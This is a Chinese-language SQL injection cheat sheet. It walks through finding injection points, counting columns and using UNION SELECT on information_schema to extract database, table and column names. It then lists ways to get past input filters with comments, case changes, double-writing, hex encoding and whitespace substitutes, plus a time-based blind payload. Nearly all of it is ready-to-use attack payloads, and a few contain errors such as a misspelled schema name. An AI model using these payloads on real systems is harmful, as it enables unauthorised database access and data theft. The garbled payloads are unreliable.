一、SQL注入的一般流程
1、判断注入点,两个类型
url?id='name' //字符串类型 url?id=1 //数字类型
2、判断字段
使用order by
语句尝试,当尝试到第几报错的时候,说明字段等于该字段减一。
url?id=1 order by 1 url?id=1 order by 2 url?id=1 order by 3
3、判断回显
使用union select
联合查询
select
语句用于从表中选取数据。
union
操作符用于合并两个或多个 SELECT 语句的结果集。
使前面的结果为假,就会执行后面的代码
url?id=-1 or union select 1,2,3
4、查询相关内容
information_schema
: mysql数据库5.0以上版本,自带数据库,记录了mysql下所有的库名,表名,列名等信息。
schemata
表
tables
表
columns
表
table_schema
数据库名
table_name
表名
column_name
列名
(1)判断库名
mysql中使用database()
函数返回默认或者当前数据库名
url?id=-1 or union select 1,database();
(2)判断表名
union select 1,table_name from information_sechema.tables where table_schema='数据库名'
(3)判断列名
union select 1,column_name from information_schema.columns where table_schema='数据库名' and table_name='表名'
可以使用limit
子句返回指定的记录数
limit 1,1
用于查询第二个列名
group_concat()
函数可以输出所有的列名
union select 1,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'
(4)查看具体信息
union select 1,字段名,3 from 列名
二、SQL注入被过滤的饶过
一、关键字过滤
1、最常用方法
/**/
进行绕过,<>,分割关键词
sel<>ect sel/**/ect
2、双写绕过
selselectect
3、大小写饶过
SeLect
4、编码饶过
URL编码 ASCII编码 等等
5、注释符号饶过
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
二、过滤逗号
1、简单注入join
饶过
union select 1,2,3 union select * from (select 1)a join (select 2)b join (select 3)c
2、substr(),mid(),limit
substr和mid()可以使用from for的方法解决
limit可以用offset的方法绕过
substr(str from pos for len) //在str中从第pos位截取len长的字符 mid(str from pos for len)//在str中从第pos位截取len长的字符 limit 1 offset 1 使用substring函数也可以绕过 substring(str from pos) //返回字符串str的第pos个字符,索引从1开始
三、过滤空格
双空格
/**/
<>
%a0
括号绕过空格
select(user())from dual where(1=1)and(2=2) ?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
回车代替//ascii码为chr(13)&chr(10),url编码为%0d%0a
%20 %09 %0a %0b %0c %0d %a0 %00 /*/ /!*/
四、过滤等号
用like
代替rlike
、regexp
或者 使用< >
五、过滤大于小于符号
盲注,我们可以用以下几种方法绕过:
greatest(n1,n2,...)//返回其中最大的值 strcmp(str1,str2)//当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1 in操作符 between and//选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
六、过滤引号
例如如下这个例子
where table_name="users"
直接使用这个字符串的十六进制饶过,这里users的十六进制为7573657273
where table_name=0x7573657273
七、or and xor not绕过:
and=&& or=|| xor=| not=!